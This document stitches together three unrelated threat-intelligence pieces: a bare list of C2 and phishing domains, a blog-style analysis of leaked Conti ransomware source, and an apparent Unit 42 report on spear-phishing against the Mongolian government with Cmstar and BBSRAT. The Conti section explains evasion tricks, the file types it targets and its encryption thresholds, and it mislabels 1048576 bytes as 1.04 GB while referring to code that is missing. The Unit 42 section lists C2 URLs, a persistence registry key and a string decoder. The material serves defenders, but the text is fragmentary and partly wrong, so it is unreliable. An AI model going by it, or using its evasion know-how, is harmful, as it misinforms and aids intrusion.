b65125ee14f2bf12a58f67c623943658dd457e5b40b354da0975d7615fe9d932 ### C2 and Phishing Domains - 10-sendmail[.]ru - 3-sendmail[.]ru - a-nhk[.]ru - acron[.]ru[.]com - agrarnik-ooo[.]ru - agrocentrer-eurohem[.]ru - agroudo[.]ru - amonni[.]ru - audemar-piguet[.]ru - autch-mail[.]ru - azot-n[.]ru - azot-sds[.]ru - azotsds[.]ru - azs-gazpromneft[.]ru - balecsm[.]ru - barsintez[.]ru - bashneft-centralasia[.]ru - bashneft[.]su - berkovetc[.]ru - bitmain[.]org[.]ru - bitum-gazpromneft[.]ru - bitum-rosneft[.]ru - bitum-samara[.]ru - bitumen-rosneft[.]ru - bitumnpk[.]ru - bor-silicat[.]ru - bulgarsyntezi[.]ru - bunker-rosneft[.]ru - card-rn[.]ru - cargill[.]com[.]ru - center-nic[.]ru - chem-torg[.]ru - chemcourier[.]ru - chickenpaws[.]ru - china-technika[.]ru - combisapsan[.]ru - contacts[.]rosneft-opt[.]su - cryptoman[.]org[.]ru - cuban-phosagro[.]ru - dc-02ec0b5f-mail[.]mail-autch[.]ru - dc-0649e3d7-mail[.]mp-star[.]ru - dc-45e81045-mail[.]cibur[.]ru - dc-99de0f72f24b[.]3-sendmail[.]ru - dv-china[.]ru - electronrg[.]ru - euro-bitum[.]ru - euro-chimgroup[.]ru - eurochem-nevinnomissk[.]ru - eurochem-novomoskovsk[.]ru - eurochem-novomoskovsk[.]ru[.]com - eurochem-orel[.]ru - eurochem-trading[.]com - eurochem-trading[.]ru - eurochemnovomoskovsk[.]ru - eurochim[.]ru[.]com - eurohem-novomokcovsk[.]ru - eurohem[.]ru - eurohemgroup[.]ru - exp[.]gazpromlpj[.]ru - expert-cabel[.]ru - farr-post[.]ru - fesagro[.]ru - flatglas[.]ru - frigat-m[.]ru - g-pntrade[.]ru - gazprom-bitumen[.]ru - gazprom-centralasia[.]ru - gazprom-international[.]su - gazpromlpg[.]com - gazpromlpj[.]ru - gazpromlpq[.]ru - gazpromneft-aero[.]ru - gispnd[.]ru - gpn-salavat[.]ru - hcsds-azot[.]ru - imap[.]mrggazprom[.]ru - inter-finans[.]ru - inter-lens[.]ru - john-dir[.]ru - kartll[.]ru - kolomna-profil[.]ru - kub-oil[.]ru - kuban-phosagro[.]ru - kubeliai[.]lt - kubmaslozavod[.]ru - kyazot[.]ru - kyrgyzstan-gazprom[.]ru - lpggazprom[.]ru - lubricants-rn[.]ru - lubricants-rosneft[.]com - lubricants-rosneft[.]ru - lukoil[.]com - mag-numoil[.]ru - map[.]ros-razvitie[.]ru - margcom[.]ru - masterhoste[.]ru - mazutibitum[.]ru - mc-gp[.]ru - mekstekla[.]ru - mendeleevscazot[.]ru - mendeleevsk-azot[.]ru - metalloprakat[.]ru - mir-polimer[.]ru - mnpz-gazpromneft[.]ru - mp-star[.]ru - mpt-o[.]ru - mrg-gazprom[.]ru - mrggazprom[.]ru - mta5[.]boommail[.]org - nic-center[.]ru - nknpz[.]rosneft-opt[.]su - nl-mk[.]ru - oil-gazpromneft[.]ru - omega-metal[.]ru - onlinecontract[.]su - ooo-agrarnik[.]com - ooo-tandem[.]net - opt-rosneft[.]ru - phaz[.]ru - polietileni[.]ru - poligal-vostok[.]ru - polimer-trubi[.]ru - polimer16[.]ru[.]com - pop[.]gazprom-centralasia[.]ru - pop[.]mnpz-gazpromneft[.]ru - pop[.]opt-rosneft[.]ru - pop[.]rnp-rosneft[.]ru - pop[.]ros-razvitie[.]ru - postaitaliana[.]win - prof-nastillist[.]ru - prof-zavod[.]ru - profzavod[.]net - promximiya[.]ru - prosintezi[.]ru - pushkinomill[.]ru - refas[.]rnp-rosneft[.]ru - refinery-yaroslavl[.]ru - refinery-yaroslavl[.]su - rn-cpr[.]ru - rn-lubricants[.]ru - rnp-rosneft[.]ru - roamingupdate[.]eu - ros-eurochem[.]ru - ros-metal[.]ru - ros-nefti[.]ru - ros-razvitie[.]ru - rosagrotrayd[.]ru - rosneft-centralasia[.]ru - rosneft-de[.]com - rosneft-opt[.]com - rosneft-opt[.]su - rosneft-tender[.]ru - rosneft-tender[.]su - rosneft-tuapse[.]ru - rospolimery[.]ru - rost-selmash[.]ru - rps[.]ru[.]com - ru-uralchem[.]ru - ru-uralhim[.]ru - ruproflist[.]ru - rus-agrohim[.]ru - rusagro-him[.]ru - rusagrohim[.]com - russbitum[.]ru - saharzol[.]com - sal-stek[.]ru - salavstek[.]ru - salstec[.]ru - salstek[.]com[.]ru - samp[.]real-city[.]lt - sarat-steklo[.]ru - saratovstroisteklo[.]ru - saratovstroy-steklo[.]ru - severstal[.]com[.]ru - sibur[.]com[.]ru - sibur[.]ru[.]com - siburint[.]ru - simf-khp[.]ru - smtp[.]gazpromlpj[.]ru - spectech-china[.]ru - spi-mex[.]ru - steklo-stroj[.]ru - successex[.]ru - successex24[.]ru - sx[.]perfecttool[.]net - ta-bitum[.]ru - tdbkh[.]ru - teh-mail[.]ru - tektorg-rosneft[.]ru - tender-rosneft[.]com - tender-rosneft[.]net - tender-rosneft[.]ru - tender-rosneft[.]su - tender[.]ros-nefti[.]ru - tiret-salt[.]ru - titanomsk[.]ru - tmez[.]ru - tolyatiazot[.]ru - transneft[.]su - trstorg[.]ru - tsenazabora[.]ru - tuapse-rosneft[.]ru - ufaneftehim[.]bashneft[.]su - ufaorgsintez[.]bashneft[.]su - ural-met[.]su - uralchem[.]net[.]ru - uralchemm[.]ru - uralchim[.]com - uralchim[.]com[.]ru - uralhem[.]ru - vitohim-rostov[.]ru - vmznasos[.]ru - vmzz[.]ru - vojxua[.]iheys[.]in - volga-phosagro[.]ru - vostok-polygal[.]ru - wapmafija[.]eu - world-provodnik[.]ru - wtpc[.]ru - xn----7sbiki4aifik1ax[.]xn--p1ai - xn----8sbyfdnfhp0c[.]xn--p1ai - xn----gtbcbb8bdhqbmdl1a[.]xn--p1ai - xn----gtbcbb8bdhqbmdl1a5j[.]xn--p1ai - xn--80aaoboarccvfll0ah5mza[.]xn--p1ai - xn--e1apchgin[.]xn--p1ai - xn--j1aicfcj5e[.]xn--e1apchgin[.]xn--p1ai - yandex[.]mail-autch[.]ru - yug-polimer[.]ru
# Conti Ransomware Source Code Investigation - Part 1 March 27, 2022 4 minute read Hello, cybersecurity enthusiasts and white hackers! A Ukrainian security researcher has leaked newer malware source code from the Conti ransomware operation in revenge for the cybercriminals siding with Russia on the invasion of Ukraine. As you can see, the last modified dates being January 25th, 2021. ## What’s Conti Ransomware? ContiLocker is a ransomware developed by the Conti Ransomware Gang, a Russian-speaking criminal collective with suspected links with Russian security agencies. Conti also operates a ransomware-as-a-service (RaaS) business model. ### Structure The source code leak is a Visual Studio solution (contains `conti_v3.sln`) that allows anyone with access to compile the ransomware locker and decryptor. ### AV Engines Evasion The first thing that usually attracts me to professionally written malware is the action by which this malware evades AV engines and hides its activity. To see the mechanism of communication with WinAPI, I look in the folder `api`. Looking at the file `getapi.cpp`, first of all, see: to convert RVA (Relative Virtual Address) to VA (Virtual Address), Conti used this macro. Then, find function `GetApiAddr` which finds Windows API function address by comparing its hash. That is, Conti uses one of the simplest but effective AV engines bypass tricks, which I wrote about in a previous post. ### Hashing Algorithm What hashing algorithm is used by Conti? MurmurHash is a non-cryptographic hash function and was written by Austin Appleby. After that, the `api` module is invoked to execute an anti-sandbox technique with the purpose of disabling all the possible hookings on known DLLs. In fact, the following DLLs are loaded through the just resolved `LoadLibraryA` API. ### Threading What about module `threadpool`? Each thread allocates its own buffer for the upcoming encryption and initializes its own cryptography context through the `CryptAcquireContextA` API and an RSA public key. Then, each thread waits in an infinite loop for a task in the `TaskList` queue. In case a new task is available, the filename to encrypt is extracted from the task. ### Encryption The encryption for a specific file starts with a random key generation using the `CryptGenRandom` API of a 32-byte key and another random generation of an 8-byte IV. As you can see, Conti used ChaCha stream cipher which was developed by D.J. Bernstein. The `CheckForDataBases` method is invoked to check for a possible full or partial encryption against the following extensions: ``` .4dd, .4dl, .accdb, .accdc, .accde, .accdr, .accdt, .accft, .adb, .ade, .adf, .adp, .arc, .ora, .alf, .ask, .btr, .bdf, .cat, .cdb, .ckp, .cma, .cpd, .dacpac, .dad, .dadiagrams, .daschema, .db, .db-shm, .db-wal, .db3, .dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, .dct, .dcx, .ddl, .dlis, .dp1, .dqy, .dsk, .dsn, .dtsx, .dxl, .eco, .ecx, .edb, .epim, .exb, .fcd, .fdb, .fic, .fmp, .fmp12, .fmpsl, .fol, .fp3, .fp4, .fp5, .fp7, .fpt, .frm, .gdb, .grdb, .gwi, .hdb, .his, .ib, .idb, .ihx, .itdb, .itw, .jet, .jtx, .kdb, .kexi, .kexic, .kexis, .lgc, .lwx, .maf, .maq, .mar, .mas, .mav, .mdb, .mdf, .mpd, .mrg, .mud, .mwb, .myd, .ndf, .nnt, .nrmlib, .ns2, .ns3, .ns4, .nsf, .nv, .nv2, .nwdb, .nyf, .odb, .ogy, .orx, .owc, .p96, .p97, .pan, .pdb, .pdm, .pnz, .qry, .qvd, .rbf, .rctd, .rod, .rodx, .rpd, .rsd, .sas7bdat, .sbf, .scx, .sdb, .sdc, .sdf, .sis, .spg, .sql, .sqlite, .sqlite3, .sqlitedb, .te, .temx, .tmd, .tps, .trc, .trm, .udb, .udl, .usr, .v12, .vis, .vpd, .vvv, .wdb, .wmdb, .wrk, .xdb, .xld, .xmlff, .abcddb, .abs, .abx, .accdw, .adn, .db2, .fm5, .hjt, .icg, .icr, .kdb, .lut, .maw, .mdn, .mdt ``` The `CheckForVirtualMachines` method is invoked to check for a possible partial encryption (20%) against the following extensions: ``` .vdi, .vhd, .vmdk, .pvm, .vmem, .vmsn, .vmsd, .nvram, .vmx, .raw, .qcow2, .subvol, .bin, .vsv, .avhd, .vmrs, .vhdx, .avdx, .vmcx, .iso ``` In other cases, the following pattern is followed: - If the file size is lower than 1048576 bytes (1.04 GB) - perform a full encryption. - If the file size is < 5242880 bytes (5.24 GB) and > 1048576 bytes (1.04 GB) - partial encryption: only headers. - Else, 50% partial encryption. ### Obfuscation In addition, an interesting module was found in the source codes: `obfuscation`, which can generate obfuscated code via ADVObfuscator. For example strings: That’s all today. In the next part, I will investigate `network_scanner` and `filesystem` modules. ## Conclusion On February 25th, 2022, Conti released a statement of full support for the Russian government - coupled with a stern warning addressed at anyone who might consider retaliating against Russia via digital warfare. ContiLeaks is a turning point in the cybercrime ecosystem, and in this case, we can expect a lot of changes in how cybercriminal organizations operate. From one side, less mature cybercriminal orgs might be very powerful, and instead, more sophisticated gangs will learn from Conti’s mistakes. I hope this post spreads awareness to the blue teamers of these interesting malware techniques and adds a weapon to the red teamers' arsenal. - Carbanak - GetApiAddr implementation in Carberp malware - Carbanak source code - MurmurHash by Austin Appleby - ADVObfuscator - ChaCha cipher - theZoo repo in Github This is a practical case for educational purposes only. Thanks for your time, happy hacking, and goodbye! PS. All drawings and screenshots are mine.
# Digital Quartermaster Scenario Demonstrated in Attacks Against the Mongolian Government **By Josh Grunzweig, Robert Falcone, and Bryan Lee** **March 14, 2016** **Category:** Government, Threat Prevention, Unit 42 **Tags:** BBSRAT, cmstar, Digital Quartermaster, Mongolia Unit 42 has collected multiple spear phishing emails, weaponized document files, and payloads that targeted various offices of the Mongolian government during the time period of August 2015 and February 2016. The phishing emails and document files leveraged a variety of geopolitically sensitive subject matters as attractive lures, such as events in Beijing, the Dalai Lama, North Korea relations, the Zika virus, and various legitimate appearing announcements. As we began to analyze and tear down the various samples we collected, we found significant overlaps with previously reported and documented adversary groups, attack campaigns, and their toolsets, exemplifying the concept of the Digital Quartermaster. The concept of the Digital Quartermaster is not a particularly new one; it is the idea that there is a group, or groups whose mission is to supply and maintain malicious tools in support of cyber espionage operations. The existence of a Digital Quartermaster has been discussed within the intelligence community for some time, but it is not often that sufficient overlaps exist between what appear to be separate toolsets to confidently claim this idea is indeed in use. The data Unit 42 has collected and analyzed however, does strongly point to the possibility that while there may be multiple operations groups, a Digital Quartermaster may be the one supplying and maintaining the tools used. ## Attack Analysis While investigating new BBSRAT instances discovered using the AutoFocus tool, Unit 42 was able to collect additional samples, weaponized documents, and phishing emails uploaded to VirusTotal between August 2015 through February 2016. Each of the samples collected via WildFire and VirusTotal contained significant overlaps in tactics used, tools used, as well as infrastructure for command and control channels. In addition, a large majority of the samples gathered from VirusTotal were uploaded from a single entity in Mongolia. The attacks themselves followed a consistent playbook throughout the observed timeframe; using weaponized Microsoft Word documents initially containing an exploit for only CVE-2012-0158, appearing to use the highly popular ‘Tran Duy Linh’ toolkit, then adding in an additional exploit for CVE-2014-1761 in the three newest samples we collected. The newer documents containing exploits for both vulnerabilities appeared to use a publicly available PoC authored by ‘HCL’, with little to no modifications made. All of the weaponized documents except two executed the Cmstar loader or a lightly modified variant of Cmstar onto the victim host while displaying a decoy document or a legitimate appearing document that is generated and presented to the user to make it appear that the weaponized document that had been executed was indeed legitimate. Once Cmstar was loaded onto the victim hosts, it would attempt to retrieve a final payload. Unfortunately, at the time of analysis, we were unable to retrieve the majority of the payloads the Cmstar loaders were attempting to download, but those that were available were variants of BBSRAT. The two samples not using Cmstar simply had BBSRAT embedded directly into the weaponized document. Furthermore, examining the data from August indicates that this campaign had started earlier and the adversary may have already achieved initial footholds, due to the use of what appears to be compromised legitimate email accounts from within the Mongolian government. ## Attack Timeline ### Attack Details - **SHA256:** 5beb50d95c1e720143ca0004f5172cb8881d75f6c9f434ceaff59f34fa1fe378 **Date:** 8/12/2015 **Filename:** Ялалтын баярын ар дахь улс төр.doc (Victory in the back of the government) **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Two spear-phishing emails originating from likely compromised account '[email protected]' target multiple other Mongolian government officials. The subject and file attachment are titled 'Ялалтын баярын ар дахь улс төр' (Victory in the back of the government). CVE-2012-0158 exploit used, dropping new variant of Cmstar. The dropped decoy document talks about a Russian festival known as 'Victory Day' and Mongolia's participation in this event. - **SHA256:** 10090692ff40758a08bd66f806e0f2c831b4b9742bbf3d19c250e778de638f57 **Date:** 8/28/2015 **Filename:** Бээжин хотод цэргийн ёслолын жагсаал.doc (Military ceremonial parade in Beijing) **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Spear-phishing email originating from '[email protected]'. A single target is discovered in the collected sample. Subject and filename are titled 'Бээжин хотод цэргийн ёслолын жагсаал' (Military ceremonial parade in Beijing). CVE-2012-0158 exploit used, dropping new variant of Cmstar. The decoy document contains a flight itinerary from Ulaanbaatar, Mongolia to Beijing, China. - **SHA256:** 44dbf05bc81d17542a656525772e0f0973b603704f213278036d8ffc999bb79a **Date:** 9/15/2015 **Filename:** Путины урилга.doc (Putin's Invitation) **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Weaponized Microsoft Word document found titled 'Путины урилга.doc' (Putin's Invitation). CVE-2012-0158 exploit used, dropping new variant of Cmstar. The following decoy image, embedded within a Word document, is displayed to the victim upon opening the malicious file. - **SHA256:** 91ffe6fab7b33ff47b184b59356408951176c670cad3afcde79aa8464374acd3 **Date:** 9/16/2015 **Filename:** 1.doc **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Weaponized Microsoft Word document with unknown title found. Likely delivered via spear-phishing. CVE-2012-0158 exploit used, dropping new variant of Cmstar. The decoy document, which is 13 pages in length, talks about the interference of the United States in other countries across the globe. - **SHA256:** 6f3d4fb64de9ae61776fd19a8eba3d1d828e7e26bb89ace00c7843a57c5f6e8a **Date:** 9/29/2015 **Filename:** Далай ламыг эмч нар амрахыг зөвлөжээ.doc **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Spear-phishing email originating from '[email protected]'. Nearly two thousand recipients found to be targeted, all within the Mongolian government. Email subject and filenames titled 'Далай ламыг эмч нар амрахыг зөвлөжээ' (Dalai Lama doctors advised rest). CVE-2012-0158 exploit used, dropping new variant of Cmstar. The decoy document discusses the latest health of the Dalai Lama, as well as a number of US-based trips he made in late 2015. - **SHA256:** e88ea5eb642eaf832f8399d0337ba9eb1563862ddee68c26a74409a7384b9bb9 **Date:** 10/2/2015 **Filename:** Sudalgaa avah zagvar.doc **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Spear-phishing email originating from '[email protected]'. '[email protected]' was a target in the August 12, 2015 attack, indicating the user may have had their personal email account compromised as well. Single target found. Email subject is 'Fw:_Fwd:_@_БХЯ-наас' (Defense Ministry). Filename is titled 'Sudalgaa avah zagvar.doc', a possible Romanization of Mongolian. CVE-2012-0158 exploit used, dropping new variant of Cmstar. The decoy table provides information about the rank, class, date of birth, and experience of individuals in the Mongolian armed forces. - **SHA256:** 68f97bf3d03b1733944c25ff4933e4e03d973ccdd73d9528f4d68806b826735e **Date:** 10/22/2015 **Filename:** албанушаалтнуудын сарын цалингийнхаа 30 хувийг хасах.doc **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Weaponized Microsoft Word document found titled 'Ерөнхий сайд албанушаалтнуудын сарын цалингийнхаа 30 хувийг хасах.doc' (Prime Minister albanushaaltnuudyn monthly salary minus 30%.doc). Likely delivered via spear-phishing. CVE-2012-0158 exploit used, dropping new variant of Cmstar. The document discusses changes made to the salaries of government officials within the Mongolian government. - **SHA256:** 00ddae5bbc2ddf29954749519ecfb3978a68db6237ebea8e646a898c353053ce **Date:** 10/22/2015 **Filename:** Улс төрийн www.politik.mn сайт нээгдлээ.doc **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Weaponized Microsoft Word document found titled 'Улс төрийн www.politik.mn сайт нээгдлээ.doc' (States opens state www.politik.mn site.doc). Likely delivered via spear-phishing. CVE-2012-0158 exploit used, dropping new variant of Cmstar. The decoy document dropped by the malicious file discusses a new website being launched by the Mongolian government. - **SHA256:** c2ebaf4366835e16f34cc7f0b56f8eaf80a9818375c98672bc678bb4107b4d8c **Date:** 10/28/2015 **Filename:** Unknown **Vulnerability:** CVE-2012-0158 **Tools Used:** Cmstar **Description:** Weaponized Microsoft Word document with unknown title found. Likely delivered via spear-phishing. CVE-2012-0158 exploit used, dropping new variant of Cmstar. The decoy document talks about a 2016 budget discussion in the Mongolian Parliament. - **SHA256:** aa86f4587423c2ff677aebae604614030f9f4d38280409501662ab4e4fe20c2a **Date:** 12/23/2015 **Filename:** СОНОРДУУЛГА.doc **Vulnerability:** CVE-2012-0158 **Tools Used:** BBSRAT **Description:** Weaponized Microsoft Word document found titled 'СОНОРДУУЛГА.doc' (Announcement). Likely delivered via spear-phishing. CVE-2012-0158 exploit used, with BBSRAT embedded. The document translates to an announcement of a loan agreement signed with foreign banks and financial institutions on October 16th, 2015. - **SHA256:** fc21814a5f9ed2f6bef9e15b113d00f9291a6553c1e02cc0b4c185c6030eca45 **Date:** 1/4/2016 **Filename:** Өвлийн өвгөнийн үг.doc **Vulnerability:** CVE-2012-0158 **Tools Used:** BBSRAT **Description:** Weaponized Microsoft Word document found titled 'Өвлийн өвгөнийн үг.doc' (Santa's word). Likely delivered via spear-phishing. CVE-2012-0158 exploit used, with BBSRAT embedded. The decoy document, which had spacing removed for an unknown reason, provides a series of children holiday season songs and poems. - **SHA256:** 7e031a04e570cddda907d0b4b7af19ce60dc481394dfb3813796ce0e6d079305 **Date:** 2/17/2016 **Filename:** Хойд Солонгост хориг арга хэмжээ авна.doc **Vulnerability:** CVE-2012-0158 and CVE-2014-1761 **Tools Used:** Cmstar and BBSRAT **Description:** Weaponized Microsoft Word document found titled 'Хойд Солонгост хориг арга хэмжээ авна.doc' (North Korea sanctions). Exploits for both CVE-2012-0158 and CVE-2014-1761 used, dropping a separate, newer variant of Cmstar which downloaded BBSRAT as its final payload. The decoy document talks about a recent speech made by the South Korean President regarding sanctions made against North Korea. - **SHA256:** 5c7e3cde4d286909154e9a5ee5a5d061a1f0efaa9875fb50c9073e1e8b6cfaef **Date:** 2/19/2016 **Filename:** Зика Монголд ойртсоор.doc **Vulnerability:** CVE-2012-0158 and CVE-2014-1761 **Tools Used:** Cmstar and BBSRAT **Description:** Weaponized Microsoft Word document found titled 'Зика Монголд ойртсоор' (Zika closer to Mongolia). Exploits for both CVE-2012-0158 and CVE-2014-1761 used, dropping a separate, newer variant of Cmstar which downloaded BBSRAT as its final payload. The translated Mongolian text found within the decoy document discusses how the Zika virus has been witnessed in both China and Russia, as well as other countries across the globe. - **SHA256:** 0b0e6b40a63710b4f7e6d00d7a4a86e6db2df720fef48640ab6d9d88352a4890 **Date:** 2/19/2016 **Filename:** Хятадад “Зика” вирусын хоёр дахь тохиолдол илэрчээ.doc **Vulnerability:** CVE-2012-0158 and CVE-2014-1761 **Tools Used:** Cmstar and BBSRAT **Description:** Weaponized Microsoft Word document found titled 'Хятадад “Зика” вирусын хоёр дахь тохиолдол илэрчээ' (China "Zika" viruses in two cases). Exploits for both CVE-2012-0158 and CVE-2014-1761 used, dropping a separate, newer variant of Cmstar which downloaded BBSRAT as its final payload. The dropped decoy document contains a press release dated February 16, 2016. The press release discusses changes made to the coal industry in inner Mongolia, the G-20 meeting in China, a five-year plan for economic and social development, and two cases of the Zika virus. ## The Digital Quartermaster: Tool Overlap The tools we observed being used in this attack campaign remained consistent throughout the six months of data we were able to collect and analyze. Yet, prior to the findings in this report, none of the tools used in this campaign had been observed being used in conjunction with each other. In their 2013 report, Kaspersky theorized that NetTraveler may have had connections to the Lurid/Enfal adversaries due to some similarities in command and control infrastructure and targeting of minority groups in China, but no strong evidence was discovered since then. CMStar is a variant of Lurid discovered by us in May 2015, with similar targeting as previously observed as NetTraveler, but again, with no strong connections. BBSRAT is a relatively new Trojan we had discovered and publicized in December 2015 and had attributed it to a campaign dubbed ‘Roaming Tiger’ by ESET in 2014, which specifically appeared to target Russia and Russian speaking nation states. None of these tools have been publicly observed in use together, in a singular campaign, until now: - The initial dropper embedded in the weaponized document files were obfuscated using a subtraction cipher previously used to obfuscate strings in the NetTraveler malware family. - A BinDiff comparison of the newer Cmstar variant with a previously reported on NetTraveler sample shows an 80% code similarity. - The first stage loader used in the attacks was Cmstar, or lightly modified variants. Cmstar is closely related to Lurid which is associated with the Enfal trojan. - The final payload for the newest weaponized documents retrieved was BBSRAT, which was previously associated with an attack campaign called "Roaming Tiger", targeting Russia and other Russian speaking nations. The one commonality that does appear amongst these seemingly different tools used by different operators is their geolocational nexus: China. In 2011, TrendMicro strongly attributed Lurid/Enfal to operators based out of China, although they stopped just short of claiming it. In Kaspersky’s 2013 report on NetTraveler, another strong attribution was made to a China-based operator. ESET’s “Roaming Tiger” reporting did not attribute the attack to any specific nation-state, but examining the command and control infrastructure and WHOIS data again suggested a China-based operator. These facts begin to lead us to the following possible conclusions: the previous attack campaigns associated with their specific tool were all actually conducted by one, large, all-encompassing operations unit. The previous attack campaigns were conducted by separate, but related operations unit with access to a common Digital Quartermaster for tools, or some combination of either scenario. ## Technical Analysis of Tools Used All of the Microsoft Word documents leveraged in these attacks used the CVE-2012-0158 and CVE-2014-1761 exploits. All of the exploit documents, in addition to targeting the same organizations and relying upon the same exploit techniques, ultimately dropped a version of the BBSRAT. A large number of the encountered samples used a new version of the Cmstar downloader to accomplish this, while some documents dropped and executed BBSRAT directly. Upon successful exploitation, the exploit documents would drop and execute a payload using one of the following techniques: 1. The exploit document drops and executes a file with a path of %TEMP%\xpsfiltsvcs.tmp. This file contains an original Cmstar downloader that was discussed in a previous blog post. 2. The 'MSOProtect.acl', 'offcln.log', and 'offcln.pip' files are dropped in the %APPDATA%\Microsoft\Office\ directory. The MSOProtect.acl file contains a new variant of the Cmstar malware family. The offcln.pip is a DLL that is responsible for opening a legitimate Microsoft Word decoy document. The offcln.log file contains a command that will open this decoy document. The offcln.log file is used by offcln.pip in order to accomplish this. 3. The %APPDATA%\comctl32.dll file is dropped and subsequently loaded. This file contains either a new instance of the Cmstar downloader, or a copy of the BBSRAT malware family, which was discussed by Palo Alto Networks in December 2015. ### New Cmstar Downloader The majority of the spear-phishing attachments leveraged variants of the previously discussed downloader named 'Cmstar'. Much of the functionality remained consistent in the newest variants, which were compiled in July and August of 2015. For reference, the original Cmstar downloader malware samples were compiled in February 2015. The new samples appear to have minimal changes made, and in fact a number of the debugging statements mentioned in the original samples are seen in a number of the newest variants. The obfuscated routine that is responsible for downloading the payload has increased in size from 779 bytes to 943 bytes. This increase in size is due to additional error controls put into place. This routine is still encrypted using a single-byte XOR operation. However, the newest Cmstar variants use a different routine to obfuscate important strings within the binary. The following code, represented in Python, accomplishes this: ```python def decode(data): out = "" c = 0 for d in data: out += chr(ord(d) - c - 10) c += 1 return out ``` Malware analysts may recognize this routine, as it's identical to the one witnessed in previously discussed NetTraveler samples that were found to be targeting an individual working for the Foreign Ministry of Uzbekistan in China. As witnessed in the following diagram, the new Cmstar downloader’s obfuscation routine has a 100% code match to the NetTraveler downloader previously encountered. ### BBSRAT Much of BBSRAT's functionality has remained consistent in the newest variants. Like previous versions, the malware will build an Import Address Table at runtime and uses the following mutex to ensure a single copy of BBSRAT is running at a given time: `Global\\GlobalAcProtectMutex` Additionally, the network structure, URL pattern, and other characteristics of the malware remain consistent. BBSRAT will ensure persistence by setting the following registry key: `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\comctl32 - rundll32.exe %APPDATA%\comctl32.dll` ### Infrastructure Analysis Mapping out the first stage command and control infrastructure for the analyzed Cmstar samples revealed an infrastructure that was most likely deployed specifically for this attack campaign: A single domain, question.erobegi[.]com, was found to be reused. This domain had previously been identified as a first stage command and control in May 2015 when we initially discovered CMStar. However, the payload was not identified at the time. The WHOIS data revealed heavy usage of resellers by the adversary, likely as an evasion technique. Analyzing the historical WHOIS data however, revealed one of the 'clean' personas used by the adversary as a registrant '[email protected]', was used to register one of the command and control domains for CMStar, celeinkec[.]com as well as one of the primary command and control domains for BBSRAT, housejjk[.]com, further supporting the links between CMStar and BBSRAT. The BBSRAT command and control infrastructure remained exactly the same as previously reported in December 2015. ## Conclusion Unit 42 often speaks of sharing threat intelligence, tools, and procedures amongst the security industry, often times pointing to the fact that the adversaries we are up against on an everyday basis are doing the exact same. Still, as a community, when we do publicize adversary groups or campaigns, there is a tendency to encapsulate each and place them in their own isolated bubbles, directly contradicting the message of sharing amongst the adversary. The reasoning behind this is not meant to be hypocritical – it is simply more straightforward for identification and ingestion purposes to be able to silo each group or campaign rather than come to the conclusion that every group or campaign is somehow related due to the sharing nature of the adversaries. We must acknowledge the fact however, that in general many attacks are related, even if they do appear significantly different or do not share the same TTPs as observed previously. The collection of data we have analyzed strongly points to the fact that a Digital Quartermaster may exist amongst the adversary. The strong overlaps within the tactics used in the toolsets as well as links in infrastructure indicate it is likely that a singular entity is responsible for deployment and maintenance of the tools used, in conjunction with a separate operator group responsible for the actual execution of the cyber espionage operations. Palo Alto Networks customers are protected through our next-generation security platform: - WildFire successfully detects BBSRAT, Cmstar, and the weaponized documents as malicious. - AutoFocus identifies the tools used under the Cmstar and BBSRAT tags. - Traps actively detects and prevents exploitation of both CVE-2012-0158 and CVE-2014-1761. - The C2 domains and files mentioned in this report are blocked through Threat Prevention. ## Indicators of Compromise ### Exploit Document SHA256 Hashes - 5beb50d95c1e720143ca0004f5172cb8881d75f6c9f434ceaff59f34fa1fe378 - 10090692ff40758a08bd66f806e0f2c831b4b9742bbf3d19c250e778de638f57 - 44dbf05bc81d17542a656525772e0f0973b603704f213278036d8ffc999bb79a - 91ffe6fab7b33ff47b184b59356408951176c670cad3afcde79aa8464374acd3 - 6f3d4fb64de9ae61776fd19a8eba3d1d828e7e26bb89ace00c7843a57c5f6e8a - e88ea5eb642eaf832f8399d0337ba9eb1563862ddee68c26a74409a7384b9bb9 - 68f97bf3d03b1733944c25ff4933e4e03d973ccdd73d9528f4d68806b826735e - 00ddae5bbc2ddf29954749519ecfb3978a68db6237ebea8e646a898c353053ce - c2ebaf4366835e16f34cc7f0b56f8eaf80a9818375c98672bc678bb4107b4d8c - aa86f4587423c2ff677aebae604614030f9f4d38280409501662ab4e4fe20c2a - fc21814a5f9ed2f6bef9e15b113d00f9291a6553c1e02cc0b4c185c6030eca45 - 7e031a04e570cddda907d0b4b7af19ce60dc481394dfb3813796ce0e6d079305 - 0b0e6b40a63710b4f7e6d00d7a4a86e6db2df720fef48640ab6d9d88352a4890 - 5c7e3cde4d286909154e9a5ee5a5d061a1f0efaa9875fb50c9073e1e8b6cfaef ### BBSRAT SHA256 Hashes - 567a5b54d6c153cdd2ddd2b084f1f66fc87587dd691cd2ba8e30d689328a673f - cd3b8e4f3a6379dc36fedf96041e292b4195d03f27221167bce7302678fb2540 ### BBSRAT C2 Servers - jowwln.cocolco[.]com - pagbine.ofhloe[.]com - cdaklle.housejjk[.]com ### Cmstar SHA256 Hashes - c3253409cccee20caa7b77312eb89bdbe8920cdb44f3fabfe5e2eeb78023c1b8 - 3e2c0d60c7677d3ead690b1b6d4d7c5aaa2d218679634ac305ef3d75b5688e6a - 3a7348d546d85a179f9d52ff83b20004136ee584993c23a8bfe5c168c00fbaa9 - 19ba40a7fa332b750c7d93385dd51bd08ee63f91cedb4ae5a93f9f33ecb38c44 - 4e1d59042336c3758e77c5c521f60ae262aad01bf7265581de54e869a02b65bc ### Cmstar C2 Servers - http://thbaw.ofhloe[.]com/cgl-bin/conime.cgi - http://dolimy.celeinkec[.]com/cgl-bin/upl.cgi - http://question.eboregi[.]com - http://pplime.savecarrots[.]com/cgl-bin/upsd.cgi - http://dolimy.celeinkec[.]com/bin/r0206/update.tmp
